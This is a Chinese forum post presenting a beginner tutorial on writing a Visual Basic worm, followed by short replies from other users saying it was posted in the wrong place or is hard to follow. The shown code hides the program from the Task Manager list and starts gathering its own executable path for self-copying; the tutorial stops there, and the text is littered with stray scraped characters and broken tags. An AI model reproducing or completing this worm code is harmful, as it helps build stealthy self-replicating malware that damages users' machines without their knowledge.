VB病毒编写——初学编程者必备

<>

# B& F/ O/ ~- ^: p& |) X9 PVB病毒编写——初学编程者必备</P>
<>要编写一个蠕虫吗？很简单，只须有基本的编程概念就可以了。如果你没有编程的基本概念，我建议你去学习编程，才读这篇文章。我就在这里教你如何编写一个VB蠕虫吧！</P>
1 a" t: P. H6 O6 R<>打开Visual Basic，选择“Standard EXE”的Project。移除那个Form，然后加入一个Module。点击Project-&gtroject1 Properties。在弹出来的窗口中，把Startup Object改为“Sub Main”。在Module中，键入以下的编码：</P>
<>Sub Main()
* N7 w/ |. x0 ^: N- h'TaskVisible的功能是把程序在End Task表中除掉。
1 ?/ u0 K4 j' D* X2 tApp.TaskVisible = False
End Sub</P>
<>以上的编码只是把程序从End Task表中除掉，没什么作用。现在，让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码：</P>
: g1 g$ R( p; P. I9 ^<>'阻止问题发生
On Error Resume Next
' R, E" K  Q- G+ TDim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
& t% t9 _3 _! z3 P3 OLocation = App.Path &amp; "\" &amp; App.EXEName &amp; ".exe"
Location2 = App.Path &amp; App.EXEName &amp; ".exe" </P>

怎么贴这里来了？

<>汗</P><>发错了的</P><>乐乐</P><>帮我移下</P>

晕倒,好像满难的,还好我是学信息专业的

<>哇哈哈</P><>别人教的</P>

别人教你的啊

倒.....

<>学vb学了快两年了，怎么还看不懂</P><>郁闷中</P>